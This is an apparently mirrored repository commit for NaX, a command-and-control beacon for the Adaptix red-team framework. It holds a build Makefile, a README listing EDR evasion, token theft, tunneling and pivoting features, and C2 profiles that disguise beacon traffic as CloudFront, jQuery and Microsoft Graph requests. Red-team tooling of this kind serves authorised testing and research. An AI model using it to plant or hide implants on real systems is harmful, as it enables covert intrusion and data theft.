mirror of
https://github.com/MaorSabag/NaX
synced 2026-06-28 15:01:11 +00:00
Initial commit: NoNameAx public release
Position-independent C2 beacon for Adaptix Framework with: - PIC shellcode beacon (PEB walk, FNV1a hashing) - BeaconGate API proxy + WFSO PoC sleepmask (extensible) - BOF execution with module stomping - Malleable C2 profiles with runtime switching - WinHTTP transport (proxy-aware) - Token manipulation (steal, impersonate, create) - TCP tunneling (SOCKS, lportfwd, rportfwd) - SMB pivoting - Stardust UDRL loader with module stomping
This commit is contained in:
+23
@@ -0,0 +1,23 @@
|
||||
# Build artifacts
|
||||
build/
|
||||
src_beacon/build/
|
||||
src_beacon/include/Config_profile.h
|
||||
src_loader/bin/
|
||||
src_sleepmask/dist/
|
||||
|
||||
# Go plugin binaries
|
||||
src_server/agent_nonameax/*.so
|
||||
src_server/listener_nonameax_http/*.so
|
||||
src_server/service_nax_store/*.so
|
||||
src_server/service_nax_store/dist/
|
||||
|
||||
# PE wrapper build artifacts
|
||||
src_server/agent_nonameax/pe_templates/Shellcode.h
|
||||
|
||||
# Runtime config
|
||||
nax_root.conf
|
||||
|
||||
# Editor / OS
|
||||
.DS_Store
|
||||
*.swp
|
||||
*.swo
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026 Maor Sabag
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,195 @@
|
||||
# NaX/Makefile - top-level build: beacon + loader → combined nax.x64.bin
|
||||
#
|
||||
# Outputs:
|
||||
# build/nax.x64.bin - release payload (loader + beacon + unwind)
|
||||
# build/nax.x64.debug.bin - debug payload (loader + debug beacon + unwind)
|
||||
#
|
||||
# Sub-makes:
|
||||
# src_loader/Makefile - Stardust-style UDRL (Start, PreMain, Main, Ldr)
|
||||
# src_beacon/Makefile - PIC beacon (NaxMain, crypto, transport, commands)
|
||||
#
|
||||
# Usage:
|
||||
# make - build release → build/nax.x64.bin (v2 header, stomp off)
|
||||
# make debug - build debug → build/nax.x64.debug.bin
|
||||
# make MODULE_STOMP=1 - build with module stomping enabled
|
||||
# make STOMP_DLL=mshtml.dll - customize sacrificial DLL (default: chakra.dll)
|
||||
# make loader - build loader only
|
||||
# make beacon - build beacon only
|
||||
# make sleepmask - build sleepmask BOF only
|
||||
# make clean - remove all build artifacts
|
||||
|
||||
JOBS ?= $(shell nproc 2>/dev/null || echo 4)
|
||||
MAKEFLAGS += -s
|
||||
|
||||
PACK_SCRIPT := scripts/pack_nax.py
|
||||
|
||||
LOADER_BIN := src_loader/bin/nax_loader.x64.bin
|
||||
|
||||
# Transport-specific beacon build directory
|
||||
NAX_TRANSPORT_PROFILE ?= 0
|
||||
BEACON_TRANSPORT := NAX_TRANSPORT_PROFILE=$(NAX_TRANSPORT_PROFILE)
|
||||
|
||||
ifeq ($(NAX_TRANSPORT_PROFILE),1)
|
||||
BEACON_BUILD := src_beacon/build/smb
|
||||
else
|
||||
BEACON_BUILD := src_beacon/build/http
|
||||
endif
|
||||
|
||||
BEACON_BIN := $(BEACON_BUILD)/beacon.x64.bin
|
||||
BEACON_PDATA := $(BEACON_BUILD)/beacon.pdata.bin
|
||||
BEACON_XDATA := $(BEACON_BUILD)/beacon.xdata.bin
|
||||
BEACON_RVA := $(BEACON_BUILD)/beacon.text_rva
|
||||
|
||||
BEACON_DEBUG_BIN := $(BEACON_BUILD)/beacon.x64.debug.bin
|
||||
BEACON_DEBUG_PDATA := $(BEACON_BUILD)/beacon.debug.pdata.bin
|
||||
BEACON_DEBUG_XDATA := $(BEACON_BUILD)/beacon.debug.xdata.bin
|
||||
BEACON_DEBUG_RVA := $(BEACON_BUILD)/beacon.debug.text_rva
|
||||
|
||||
OUT_DIR := build
|
||||
OUT_BIN := $(OUT_DIR)/nax.x64.bin
|
||||
OUT_DEBUG_BIN := $(OUT_DIR)/nax.x64.debug.bin
|
||||
|
||||
# Configurable module stomping (off by default for dev builds)
|
||||
MODULE_STOMP ?= 0
|
||||
STOMP_DLL ?= chakra.dll
|
||||
STOMP_PDATA ?= $(MODULE_STOMP)
|
||||
|
||||
# Technique selection (compile-time, passed to loader)
|
||||
# NAX_STOMP_MODE: 0=VirtualAlloc, 1=ModuleStomp
|
||||
# NAX_EXEC_MODE: 0=CreateThread, 1=ThreadPool (TppWorkerThread)
|
||||
NAX_STOMP_MODE ?= 1
|
||||
NAX_EXEC_MODE ?= 1
|
||||
|
||||
# Build pack flags from config
|
||||
PACK_FLAGS :=
|
||||
ifneq ($(MODULE_STOMP),0)
|
||||
PACK_FLAGS += --module-stomp
|
||||
endif
|
||||
ifneq ($(STOMP_PDATA),0)
|
||||
PACK_FLAGS += --stomp-pdata
|
||||
endif
|
||||
|
||||
# Loader technique defines
|
||||
LOADER_DEFINES := NAX_STOMP_MODE=$(NAX_STOMP_MODE) NAX_EXEC_MODE=$(NAX_EXEC_MODE)
|
||||
|
||||
.PHONY: all debug link debug-link loader beacon sleepmask debug-sleepmask clean \
|
||||
_sync-loader _sync-beacon _sync-beacon-debug
|
||||
|
||||
## ========= [ combined output ] =========
|
||||
|
||||
all: _sync-loader _sync-beacon | $(OUT_DIR)
|
||||
@if [ ! -f $(OUT_BIN) ] || \
|
||||
[ $(LOADER_BIN) -nt $(OUT_BIN) ] || \
|
||||
[ $(BEACON_BIN) -nt $(OUT_BIN) ]; then \
|
||||
python3 $(PACK_SCRIPT) \
|
||||
--loader $(LOADER_BIN) \
|
||||
--beacon $(BEACON_BIN) \
|
||||
--pdata $(BEACON_PDATA) \
|
||||
--xdata $(BEACON_XDATA) \
|
||||
--text-rva $(BEACON_RVA) \
|
||||
--stomp-dll "$(STOMP_DLL)" \
|
||||
$(PACK_FLAGS) \
|
||||
--output $(OUT_BIN); \
|
||||
else \
|
||||
echo " SKIP $(OUT_BIN) is up-to-date"; \
|
||||
fi
|
||||
|
||||
$(OUT_DIR):
|
||||
mkdir -p $(OUT_DIR)
|
||||
|
||||
## ========= [ debug combined output ] =========
|
||||
|
||||
debug: _sync-loader _sync-beacon-debug | $(OUT_DIR)
|
||||
@if [ ! -f $(OUT_DEBUG_BIN) ] || \
|
||||
[ $(LOADER_BIN) -nt $(OUT_DEBUG_BIN) ] || \
|
||||
[ $(BEACON_DEBUG_BIN) -nt $(OUT_DEBUG_BIN) ]; then \
|
||||
python3 $(PACK_SCRIPT) \
|
||||
--loader $(LOADER_BIN) \
|
||||
--beacon $(BEACON_DEBUG_BIN) \
|
||||
--pdata $(BEACON_DEBUG_PDATA) \
|
||||
--xdata $(BEACON_DEBUG_XDATA) \
|
||||
--text-rva $(BEACON_DEBUG_RVA) \
|
||||
--stomp-dll "$(STOMP_DLL)" \
|
||||
$(PACK_FLAGS) \
|
||||
--output $(OUT_DEBUG_BIN); \
|
||||
else \
|
||||
echo " SKIP $(OUT_DEBUG_BIN) is up-to-date"; \
|
||||
fi
|
||||
@if [ ! -f src_sleepmask/dist/sleepmask.x64.o ]; then \
|
||||
$(MAKE) -j$(JOBS) -C src_sleepmask debug; \
|
||||
fi
|
||||
|
||||
## ========= [ sub-make sync targets ] =========
|
||||
|
||||
_sync-loader:
|
||||
@$(MAKE) -j$(JOBS) -C src_loader -f Makefile $(LOADER_DEFINES)
|
||||
|
||||
_sync-beacon:
|
||||
@$(MAKE) -j$(JOBS) -C src_beacon $(BEACON_TRANSPORT)
|
||||
|
||||
_sync-beacon-debug:
|
||||
@$(MAKE) -j$(JOBS) -C src_beacon debug $(BEACON_TRANSPORT)
|
||||
|
||||
## ========= [ sub-makes ] =========
|
||||
|
||||
loader:
|
||||
$(MAKE) -j$(JOBS) -C src_loader -f Makefile $(LOADER_DEFINES)
|
||||
|
||||
sleepmask:
|
||||
$(MAKE) -j$(JOBS) -C src_sleepmask
|
||||
|
||||
debug-sleepmask:
|
||||
$(MAKE) -j$(JOBS) -C src_sleepmask debug
|
||||
|
||||
beacon:
|
||||
$(MAKE) -j$(JOBS) -C src_beacon $(BEACON_TRANSPORT)
|
||||
|
||||
## ========= [ link-only (recompile Config.c + re-link) ] =========
|
||||
|
||||
link: _sync-loader | $(OUT_DIR)
|
||||
$(MAKE) -j$(JOBS) -C src_beacon link $(BEACON_TRANSPORT)
|
||||
python3 $(PACK_SCRIPT) \
|
||||
--loader $(LOADER_BIN) \
|
||||
--beacon $(BEACON_BIN) \
|
||||
--pdata $(BEACON_PDATA) \
|
||||
--xdata $(BEACON_XDATA) \
|
||||
--text-rva $(BEACON_RVA) \
|
||||
--stomp-dll "$(STOMP_DLL)" \
|
||||
$(PACK_FLAGS) \
|
||||
--output $(OUT_BIN)
|
||||
|
||||
debug-link: _sync-loader | $(OUT_DIR)
|
||||
$(MAKE) -j$(JOBS) -C src_beacon debug-link $(BEACON_TRANSPORT)
|
||||
python3 $(PACK_SCRIPT) \
|
||||
--loader $(LOADER_BIN) \
|
||||
--beacon $(BEACON_DEBUG_BIN) \
|
||||
--pdata $(BEACON_DEBUG_PDATA) \
|
||||
--xdata $(BEACON_DEBUG_XDATA) \
|
||||
--text-rva $(BEACON_DEBUG_RVA) \
|
||||
--stomp-dll "$(STOMP_DLL)" \
|
||||
$(PACK_FLAGS) \
|
||||
--output $(OUT_DEBUG_BIN)
|
||||
|
||||
## ========= [ component-only targets (for Go packer) ] =========
|
||||
|
||||
components: _sync-loader _sync-beacon
|
||||
@echo "[+] components ready"
|
||||
|
||||
debug-components: _sync-loader _sync-beacon-debug
|
||||
@echo "[+] debug components ready"
|
||||
|
||||
link-components: _sync-loader
|
||||
$(MAKE) -j$(JOBS) -C src_beacon link $(BEACON_TRANSPORT)
|
||||
@echo "[+] link components ready"
|
||||
|
||||
debug-link-components: _sync-loader
|
||||
$(MAKE) -j$(JOBS) -C src_beacon debug-link $(BEACON_TRANSPORT)
|
||||
@echo "[+] debug-link components ready"
|
||||
|
||||
## ========= [ clean ] =========
|
||||
|
||||
clean:
|
||||
$(MAKE) -j$(JOBS) -C src_loader -f Makefile clean
|
||||
$(MAKE) -j$(JOBS) -C src_beacon clean
|
||||
@echo " NOTE src_sleepmask/dist/ kept (pre-built .o, source is WIP)"
|
||||
rm -rf $(OUT_DIR)
|
||||
@@ -0,0 +1,155 @@
|
||||
# NoNameAx (NaX)
|
||||
|
||||
Position-independent C2 beacon for the [Adaptix Framework](https://github.com/Adaptix-Framework/Adaptix) with module stomping, malleable C2 profiles, BOF execution, and a Stardust-pattern UDRL loader.
|
||||
|
||||

|
||||

|
||||

|
||||

|
||||
|
||||
## Features
|
||||
|
||||
- **PIC shellcode beacon** -- single `.text` section, no CRT, no imports, all APIs resolved via PEB walk
|
||||
- **Module stomping** -- beacon runs from image-backed DLL memory (IMG), not private allocations (PRV)
|
||||
- **Clean stack walks** -- `.pdata`/`.xdata` stomped into DLL with correct RVAs, LDR entry patched with full PEB flags (ImageDll, LoadNotificationsSent, ProcessStaticImport, EntryProcessed)
|
||||
- **Control Flow Guard (CFG) aware** -- queries CFG status at runtime, whitelists beacon entry (loader), BOF go() and sleep_mask() in the CFG bitmap via SetProcessValidCallTargets; safe in CFG-enabled processes
|
||||
- **Malleable C2 profiles** -- configurable encoding pipeline (base64/hex/raw, XOR mask, body templates, header/cookie/parameter placement), runtime profile switching
|
||||
- **DLL load notification unhooking** -- removes all `LdrRegisterDllNotification` callbacks at startup, preventing EDR DLL-load telemetry; always enabled, also available at runtime via `dll-notify list/remove`
|
||||
- **BeaconGate + Sleepmask** -- extensible API call proxy routes Sleep/WaitForSingleObject/WaitForMultipleObjects through a sleepmask BOF (module-stomped, image-backed); ships with a WFSO PoC that replaces Sleep with `NtWaitForSingleObject` on a dummy event — bring your own sleep obfuscation technique
|
||||
- **BOF execution** -- in-process COFF loader with module stomping (image-backed BOF .text, IFT .pdata injection)
|
||||
- **Stardust UDRL loader** -- self-relocating PIC loader with TLS egghunter globals, thread pool execution
|
||||
- **TCP tunneling** -- SOCKS4/5 proxy, local port forwarding and reverse port forwarding through beacon, works over both HTTP and SMB transports
|
||||
- **Token manipulation** -- steal, impersonate, create from credentials (4 logon types), privilege listing, console header updates
|
||||
- **26 built-in commands** -- file I/O, process management, token ops, screenshots, downloads, uploads, SMB pivoting
|
||||
- **AES-128-CBC encryption** -- all frames encrypted end-to-end via BCrypt
|
||||
- **Proxy-aware transport** -- WinHTTP with automatic proxy detection (PAC/WPAD)
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
+------------+ +----------------+ +--------------+ +-------+ +-------+
|
||||
| UDRL | | NaxHeader v2 | | PIC Beacon | | .pdata| | .xdata|
|
||||
| Loader | | (160 bytes) | | (.text) | | | | |
|
||||
| Stardust | | magic, sizes | | NaxMain() | | RUNTM | | UNWIND|
|
||||
| PEB walk | | flags, DLL | | + commands | | _FUNC | | _INFO |
|
||||
| Mod stomp | | | | + transport | | | | |
|
||||
+------------+ +----------------+ +--------------+ +-------+ +-------+
|
||||
|
|
||||
HTTP(S) / SMB
|
||||
|
|
||||
+---------------------------------------------------------------+
|
||||
| Adaptix Framework Server |
|
||||
| +------------------------+ +-----------------------------+ |
|
||||
| | listener_nonameax_http | | agent_nonameax | |
|
||||
| | Profile-driven HTTP |->| BuildPayload, CreateCommand| |
|
||||
| | AES crypto, transforms | | ProcessData, AxScript UI | |
|
||||
| +------------------------+ +-----------------------------+ |
|
||||
+---------------------------------------------------------------+
|
||||
```
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Prerequisites
|
||||
|
||||
```bash
|
||||
sudo apt install gcc-mingw-w64-x86-64 nasm binutils golang python3
|
||||
```
|
||||
|
||||
### Build
|
||||
|
||||
```bash
|
||||
make # Release build
|
||||
make debug # Debug build (NaxDbg output)
|
||||
make MODULE_STOMP=1 STOMP_PDATA=1 # Module stomping + unwind data
|
||||
make MODULE_STOMP=1 STOMP_DLL=mshtml.dll # Custom sacrificial DLL
|
||||
|
||||
# Go server plugins
|
||||
cd src_server/agent_nonameax && make
|
||||
cd src_server/listener_nonameax_http && make
|
||||
```
|
||||
|
||||
### Deploy
|
||||
|
||||
1. Copy `.so` plugins to `Server/extenders/`
|
||||
2. Register in `Server/profile.yaml`
|
||||
3. Start Adaptix, create a listener, generate a payload
|
||||
|
||||
## Commands
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `whoami` | Current identity (domain\user) |
|
||||
| `sleep <s> [jitter%]` | Set callback interval |
|
||||
| `sleepmask-set` | Send sleepmask BOF (auto-fires on connect) |
|
||||
| `ls`, `cd`, `pwd`, `mkdir`, `rmdir` | Directory navigation |
|
||||
| `cat`, `rm`, `download`, `upload` | File operations |
|
||||
| `ps list`, `ps kill`, `ps run` | Process management |
|
||||
| `token getuid/steal/use/list/rm/revert/make/privs` | Token manipulation and impersonation |
|
||||
| `screenshot` | GDI desktop capture |
|
||||
| `bof [-a] <file.o>` | Execute BOF (sync or async) |
|
||||
| `bof-stomp sync/async/show` | Reconfigure BOF module stomping |
|
||||
| `profile <json>` | Runtime C2 profile switch |
|
||||
| `link`, `unlink` | SMB pivot management |
|
||||
| `socks start/stop` | SOCKS4/5 proxy (via Adaptix tunnel system) |
|
||||
| `lportfwd` / `rportfwd` | TCP tunnel forwarding (via Adaptix UI) |
|
||||
| `terminate thread/process` | Exit beacon |
|
||||
|
||||
## Documentation
|
||||
|
||||
Full documentation is in the [wiki/](wiki/) folder:
|
||||
|
||||
### Core
|
||||
- **[Beacon Architecture](wiki/Beacon-Architecture.md)** -- NAX_INSTANCE, bootstrap, heartbeat loop, PIC constraints
|
||||
- **[Wire Protocol](wiki/Wire-Protocol.md)** -- Frame format, message types, command IDs, encryption
|
||||
- **[Malleable C2 Profiles](wiki/Malleable-C2-Profiles.md)** -- OutputConfig encoding pipeline, profile JSON, runtime switching
|
||||
- **[Module Stomping](wiki/Module-Stomping.md)** -- Loader-phase beacon stomping, DLL selection, LDR patching
|
||||
|
||||
### BOF System
|
||||
- **[BOF Execution](wiki/BOF-Execution.md)** -- COFF loader, sync/async dispatch, Beacon API reference
|
||||
- **[BOF Module Stomping](wiki/BOF-Module-Stomping.md)** -- Image-backed BOF .text, IFT .pdata injection, slot pool
|
||||
|
||||
### Evasion
|
||||
- **[BeaconGate & Sleepmask](wiki/BeaconGate-Sleepmask.md)** -- API call proxy, WFSO PoC sleepmask, extensible gate architecture
|
||||
|
||||
### Post-Exploitation
|
||||
- **[Token Commands](wiki/Token-Commands.md)** -- Token theft, impersonation, credential logon, privilege listing
|
||||
|
||||
### Networking
|
||||
- **[Tunneling](wiki/Tunneling.md)** -- Local/reverse port forwarding, wire protocol, OPSEC, flow control
|
||||
|
||||
### Extending NaX
|
||||
- **[Adding Commands](wiki/Adding-Commands.md)** -- End-to-end walkthrough from Wire.h to AxScript
|
||||
- **[Stardust Loader Guide](wiki/Stardust-Loader-Guide.md)** -- UDRL architecture, how to write your own loader
|
||||
|
||||
### Operations
|
||||
- **[Build and Deploy](wiki/Build-and-Deploy.md)** -- Prerequisites, build commands, Adaptix setup
|
||||
- **[Operator Reference](wiki/Operator-Reference.md)** -- All commands with syntax and examples
|
||||
|
||||
## Project Structure
|
||||
|
||||
```
|
||||
Makefile # Top-level: loader + beacon -> nax.x64.bin
|
||||
src_beacon/ # PIC shellcode beacon (C, MinGW cross-compile)
|
||||
include/ # Instance.h, Wire.h, Config.h, Macros.h, Bof.h
|
||||
src/Core/ # Bootstrap, Ldr (PEB walk), Config, Crypto, Packer
|
||||
src/Transport/ # Http.c (WinHTTP), HttpCodec.c, Smb.c
|
||||
src/Commands/ # Dispatch + command handlers + Tunnel.c
|
||||
src/Bof/ # COFF loader, Beacon API, module stomping
|
||||
src_loader/ # Stardust UDRL loader
|
||||
src/ # PreMain, Main, Ldr, Stomp, Pe, Exec, Entry.asm
|
||||
src_sleepmask/ # Sleepmask BOF (COFF .o, loaded by beacon at runtime)
|
||||
src/ # main.c (WFSO PoC — extend with your own technique)
|
||||
include/ # Gate.h, Imports.h
|
||||
src_server/ # Go plugins for Adaptix Framework
|
||||
agent_nonameax/ # Agent extender (build, commands, results, AxScript)
|
||||
listener_nonameax_http/ # HTTP listener (profile transforms, crypto)
|
||||
profiles/ # Malleable C2 profile JSON files
|
||||
scripts/ # Build scripts (pack_nax.py)
|
||||
```
|
||||
|
||||
## Acknowledgments
|
||||
|
||||
- [Adaptix Framework](https://github.com/Adaptix-Framework/Adaptix) -- C2 framework and operator console
|
||||
- [Stardust](https://github.com/Cracked5pider/Stardust) -- PIC loader template by Paul Ungur
|
||||
- [ZeroPoint Security](https://training.zeropointsecurity.co.uk/) -- UDRL and Sleepmask course
|
||||
- [Kharon](https://github.com/Adaptix-Framework/Kharon) -- Reference Adaptix agent
|
||||
@@ -0,0 +1,121 @@
|
||||
{
|
||||
"callbacks": [
|
||||
{
|
||||
"hosts": ["192.168.77.128:8080"],
|
||||
"user_agent": "Amazon CloudFront",
|
||||
"beacon_id_header": "X-Amz-Cf-Id",
|
||||
"rotation": "random",
|
||||
|
||||
"server_error": {
|
||||
"status": 503,
|
||||
"body": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Error><Code>ServiceUnavailable</Code><Message>Service is unable to handle request.</Message><RequestId>F5E2D3C4B1A09876</RequestId></Error>",
|
||||
"headers": {
|
||||
"Content-Type": "text/xml",
|
||||
"Server": "AmazonS3",
|
||||
"x-amz-request-id": "F5E2D3C4B1A09876",
|
||||
"x-amz-id-2": "vlR7PnpV2Ce81l0PRw6jlUpck7aFV5B/i4p+C0yKfE3gYo2hVDJ7gA==",
|
||||
"Connection": "close"
|
||||
}
|
||||
},
|
||||
|
||||
"get": {
|
||||
"uri": [
|
||||
"/d/cf-dist/assets/main.woff2",
|
||||
"/d/cf-dist/css/styles.min.css",
|
||||
"/d/cf-dist/img/logo.svg",
|
||||
"/d/cf-dist/manifest.json"
|
||||
],
|
||||
"client": {
|
||||
"headers": {
|
||||
"Accept": "*/*",
|
||||
"Accept-Encoding": "gzip, deflate, br",
|
||||
"Origin": "https://cdn.example.com",
|
||||
"Sec-Fetch-Dest": "font",
|
||||
"Sec-Fetch-Mode": "cors"
|
||||
},
|
||||
"metadata": {
|
||||
"format": "hex",
|
||||
"mask": false,
|
||||
"placement": "cookie",
|
||||
"name": "CloudFront-Key-Pair-Id",
|
||||
"prepend": "APKA",
|
||||
"append": ""
|
||||
},
|
||||
"parameters": {
|
||||
"Expires": "1733011200",
|
||||
"Policy": "eyJ2ZXJzaW9uIjoiMiJ9"
|
||||
}
|
||||
},
|
||||
"server": {
|
||||
"headers": {
|
||||
"Content-Type": "font/woff2",
|
||||
"Server": "AmazonS3",
|
||||
"x-amz-cf-pop": "IAD89-P2",
|
||||
"x-amz-cf-id": "noop",
|
||||
"Via": "1.1 abc123.cloudfront.net (CloudFront)",
|
||||
"X-Cache": "Hit from cloudfront",
|
||||
"Access-Control-Allow-Origin": "*",
|
||||
"Cache-Control": "public, max-age=31536000, immutable"
|
||||
},
|
||||
"output": {
|
||||
"format": "base64url",
|
||||
"mask": false,
|
||||
"placement": "body",
|
||||
"name": "",
|
||||
"prepend": "",
|
||||
"append": "",
|
||||
"empty_response": ""
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
"post": {
|
||||
"uri": [
|
||||
"/prod/api/events",
|
||||
"/prod/api/metrics",
|
||||
"/prod/api/logs/ingest"
|
||||
],
|
||||
"client": {
|
||||
"headers": {
|
||||
"Content-Type": "application/x-amz-json-1.1",
|
||||
"Accept": "application/json",
|
||||
"X-Amz-Target": "Logs_20140328.PutLogEvents",
|
||||
"X-Amz-Date": "20241201T000000Z"
|
||||
},
|
||||
"metadata": {
|
||||
"format": "raw",
|
||||
"mask": false,
|
||||
"placement": "parameter",
|
||||
"name": "X-Amz-Security-Token",
|
||||
"prepend": "",
|
||||
"append": ""
|
||||
},
|
||||
"output": {
|
||||
"format": "hex",
|
||||
"mask": true,
|
||||
"placement": "body",
|
||||
"name": "",
|
||||
"prepend": "{\"logGroupName\":\"/aws/lambda/prod-handler\",\"logStreamName\":\"2024/12/01/[$LATEST]\",\"logEvents\":[{\"timestamp\":1733011200000,\"message\":\"",
|
||||
"append": "\"}],\"sequenceToken\":\"49641086694350286920040691822737707097\"}"
|
||||
}
|
||||
},
|
||||
"server": {
|
||||
"headers": {
|
||||
"Content-Type": "application/x-amz-json-1.1",
|
||||
"Server": "AmazonS3",
|
||||
"x-amzn-RequestId": "a1b2c3d4-5678-90ab-cdef-111111111111"
|
||||
},
|
||||
"output": {
|
||||
"format": "hex",
|
||||
"mask": false,
|
||||
"placement": "body",
|
||||
"name": "",
|
||||
"prepend": "{\"nextSequenceToken\":\"49641086694350286920040691822737707098\",\"_data\":\"",
|
||||
"append": "\",\"rejectedLogEventsInfo\":null}",
|
||||
"empty_response": "{\"nextSequenceToken\":\"49641086694350286920040691822737707098\"}"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,102 @@
|
||||
{
|
||||
"callbacks": [
|
||||
{
|
||||
"hosts": ["192.168.77.128:8080"],
|
||||
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
|
||||
"beacon_id_header": "X-Correlation-Id",
|
||||
"rotation": "sequential",
|
||||
|
||||
"server_error": {
|
||||
"status": 404,
|
||||
"body": "<!DOCTYPE html><html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0</center></body></html>",
|
||||
"headers": {
|
||||
"Content-Type": "text/html",
|
||||
"Server": "nginx/1.24.0",
|
||||
"Connection": "keep-alive"
|
||||
}
|
||||
},
|
||||
|
||||
"get": {
|
||||
"uri": ["/jquery-3.3.1.min.js", "/assets/js/analytics.js", "/static/bundle.js"],
|
||||
"client": {
|
||||
"headers": {
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||||
"Accept-Language": "en-US,en;q=0.5",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Referer": "https://www.google.com/"
|
||||
},
|
||||
"metadata": {
|
||||
"format": "base64",
|
||||
"mask": true,
|
||||
"placement": "cookie",
|
||||
"name": "__cfduid",
|
||||
"prepend": "",
|
||||
"append": ""
|
||||
},
|
||||
"parameters": {
|
||||
"v": "3.3.1"
|
||||
}
|
||||
},
|
||||
"server": {
|
||||
"headers": {
|
||||
"Content-Type": "application/javascript; charset=utf-8",
|
||||
"Cache-Control": "max-age=0, public",
|
||||
"X-Content-Type-Options": "nosniff",
|
||||
"Server": "nginx/1.24.0"
|
||||
},
|
||||
"output": {
|
||||
"format": "base64",
|
||||
"mask": true,
|
||||
"placement": "body",
|
||||
"name": "",
|
||||
"prepend": "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */\n!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice;\n/* data: ",
|
||||
"append": " */\n});",
|
||||
"empty_response": "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */\n!function(e,t){\"use strict\"}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";});"
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
"post": {
|
||||
"uri": ["/api/v1/telemetry", "/api/v1/analytics", "/submit"],
|
||||
"client": {
|
||||
"headers": {
|
||||
"Content-Type": "application/json",
|
||||
"Accept": "application/json",
|
||||
"X-Requested-With": "XMLHttpRequest"
|
||||
},
|
||||
"metadata": {
|
||||
"format": "base64url",
|
||||
"mask": false,
|
||||
"placement": "header",
|
||||
"name": "X-Request-Id",
|
||||
"prepend": "",
|
||||
"append": ""
|
||||
},
|
||||
"output": {
|
||||
"format": "base64",
|
||||
"mask": true,
|
||||
"placement": "body",
|
||||
"name": "",
|
||||
"prepend": "{\"status\":\"ok\",\"telemetry\":\"",
|
||||
"append": "\",\"version\":\"2.1.0\"}"
|
||||
}
|
||||
},
|
||||
"server": {
|
||||
"headers": {
|
||||
"Content-Type": "application/json",
|
||||
"Server": "nginx/1.24.0"
|
||||
},
|
||||
"output": {
|
||||
"format": "raw",
|
||||
"mask": false,
|
||||
"placement": "body",
|
||||
"name": "",
|
||||
"prepend": "",
|
||||
"append": "",
|
||||
"empty_response": "{\"status\":\"accepted\"}"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,124 @@
|
||||
{
|
||||
"callbacks": [
|
||||
{
|
||||
"hosts": ["192.168.77.128"],
|
||||
"user_agent": "Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.17928; Pro)",
|
||||
"beacon_id_header": "X-MS-Correlation-Id",
|
||||
"rotation": "random",
|
||||
|
||||
"server_error": {
|
||||
"status": 403,
|
||||
"body": "{\"error\":{\"code\":\"Authorization_RequestDenied\",\"message\":\"Insufficient privileges to complete the operation.\",\"innerError\":{\"date\":\"2024-12-01T00:00:00\",\"request-id\":\"00000000-0000-0000-0000-000000000000\",\"client-request-id\":\"00000000-0000-0000-0000-000000000000\"}}}",
|
||||
"headers": {
|
||||
"Content-Type": "application/json; charset=utf-8",
|
||||
"Server": "Microsoft-IIS/10.0",
|
||||
"X-Powered-By": "ASP.NET",
|
||||
"Strict-Transport-Security": "max-age=31536000; includeSubDomains",
|
||||
"X-Content-Type-Options": "nosniff"
|
||||
}
|
||||
},
|
||||
|
||||
"get": {
|
||||
"uri": [
|
||||
"/nax/v1.0/me/presence",
|
||||
"/nax/v1.0/me/messages",
|
||||
"/nax/v1.0/me/calendar/events",
|
||||
"/nax/v1.0/me/drive/recent",
|
||||
"/nax/beta/me/outlook/masterCategories"
|
||||
],
|
||||
"client": {
|
||||
"headers": {
|
||||
"Accept": "application/json; odata.metadata=minimal",
|
||||
"Authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.stub",
|
||||
"X-AnchorMailbox": "user@contoso.com",
|
||||
"client-request-id": "7f2e4b3a-1c9d-4e8f-b5a2-3d6c8e9f0a1b",
|
||||
"Prefer": "outlook.body-content-type=\"text\""
|
||||
},
|
||||
"metadata": {
|
||||
"format": "base64url",
|
||||
"mask": true,
|
||||
"placement": "parameter",
|
||||
"name": "$filter",
|
||||
"prepend": "",
|
||||
"append": ""
|
||||
},
|
||||
"parameters": {
|
||||
"$select": "availability,activity",
|
